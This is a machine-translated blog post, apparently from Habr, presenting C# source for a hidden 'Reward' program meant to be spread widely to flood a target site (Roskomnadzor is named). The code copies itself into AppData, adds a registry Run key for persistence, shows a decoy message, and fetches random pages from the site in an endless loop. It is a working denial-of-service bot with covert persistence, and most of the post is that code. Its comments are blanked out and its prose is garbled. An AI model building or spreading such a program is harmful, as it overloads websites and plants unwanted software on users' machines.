報酬:心の底からの感謝

ある晴れた日、最近リリースされた映画を探して、Roskomnadzorのリクエストですべてのサイトでの配信が削除され、まだ誰もRutrekerにアップロードしていないことがわかりました。



少し動揺して、私はすべてのインターネットユーザーがお気に入りのサイト、たとえばRoskomnadzorのサイト(法律を守り、セキュリティを保護するために)に感謝を表明するのに役立つデスクトップアプリケーションを作成することに決めました。

さて、あなたのサイトへの大量訪問よりも楽しいものは何ですか?



私が猫の下に何を持っているか見てください。



私は非常に正直な方法で行くことにしました-Habraeffectを模倣するために(あなたがどれだけの喜びを待っているか想像できますか?) まず、Visual Studioで空のプロジェクトを作成し、プロジェクト設定でそのタイプを示します: Windows Application



このアプリケーションは、15〜20秒ごとにサイトからランダムページをロードし、次のダウンロードのためにそこからリンクを選択します。 たとえば、約10万人がRoskomnadzorに感謝したい場合、Habraeffectは避けられません。 善行を考えて、実装に進みます。



プログラムの動作を説明しようとしたため、記事の一部がコードへのコメントに含まれています。



作業の大部分は、Stringクラスのいくつかの外部拡張メソッドを使用して、RandomBrowserクラスのインスタンスによって実行されます。



class RandomBrowser { private readonly WebClient Downoader = new WebClient(); private readonly Random Randomizer = new Random(); // ,   public readonly String DomainName; public readonly String DomainPage; //     , //        public String NextUrl { private set; get; } //       NextUrl public void Request() { try { //         //      String.GetHtmlLinks List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName); //   ,      , //      NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage; } //        //       catch (Exception) { NextUrl = DomainPage; } } //    public RandomBrowser(String startPage) { //        //      String.GetDomainName DomainName = startPage?.GetDomainName(); DomainPage = @"http://www." + DomainName; NextUrl = startPage; } }
      
      





できるだけ多くのユーザー向けにアプリケーションを作成しているため、このオプションはWindows 7、8、10を搭載したほとんどのコンピューターで実行されることが保証されているため、.NET Framework 4でアセンブルする必要があります。したがって、すべてのダウンロード操作にはWebClientクラスを使用する必要があります。



次に、文字列拡張メソッドを示します。



 static class Extensions { //    private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." }; //       public static String GetDomainName(this String url) { foreach (String i in Prefixes) { if (url.IndexOf(i) == 0) { url = url.Remove(0, i.Length); } } Int32 subdomain = url.IndexOf('/'); return subdomain == -1 ? url : url.Remove(subdomain); } //   html-        //        public static List<String> GetHtmlLinks(this String page, String domainName = null) { //         List<String> result = new List<String>(); Regex reHref = new Regex(@"(?inx) <a \s [^>]* href \s* = \s* (?<q> ['""] ) (?<url> [^""]+ ) \k<q> [^>]* >"); foreach (Match i in reHref.Matches(page)) { result.Add(i.Groups["url"].ToString()); } //        ,     return domainName == null ? result : new List<String>(result.Where(i => i.GetDomainName() == domainName)); } }
      
      





そして最後に、アプリケーションの作成を完了するために、Reward(Habraffectに類似した形の報酬)と呼び、エントリポイントを作成しました。



 class Program { static void Main() { //      const String appName = "Reward"; String appDirectory = $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}"; const String fileName = appName + ".exe"; String filePath = $@"{appDirectory}\{fileName}"; //     ,        RegistryKey autorun = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true); String regValue = autorun.GetValue(appName) as String; //      //       (-   as) //       if (regValue == null || regValue != filePath) { //      //     : MessageBox.Show("      !", "-"); //      if (!File.Exists(filePath)) { //       if (!Directory.Exists(appDirectory)) { Directory.CreateDirectory(appDirectory); } //       //    , //   , //      . // ,     "AppData/Roaming", //          String[] args = Environment.GetCommandLineArgs(); File.Copy( args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", filePath); } //    autorun.SetValue(appName, filePath); //       "AppData/Roaming" Process.Start(filePath); //    , //       return; } //     : RandomBrowser browser = new RandomBrowser(@"http://www.."); Random randomizer = new Random(); while (true) { //            //  , //  ""        15 , //    Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10))); browser.Request(); } } }
      
      





そのため、知覚できないタスクバーを取得し、絶えずプロセスにハングアップし、デスクトップ上の3 MBのRAMを消費しました。 その主な欠点は、具体的な結果を得るために、できるだけ多くの人々が使用する必要があること、配布の難しさ、そしてUACの問題かもしれません。



私はプログラミングで生計を立てているのではなく、むしろ暇な時の気分の趣味です。



私は、退屈で破壊的な批判の嵐を楽しみにしています。そして、幸運にも聞くことができれば、修正のヒントを楽しみにしています。



この記事は、このようにサイトにアクセスして感謝するための呼び出しではなく、すべてのコードは娯楽のためにのみ書かれています。



All Articles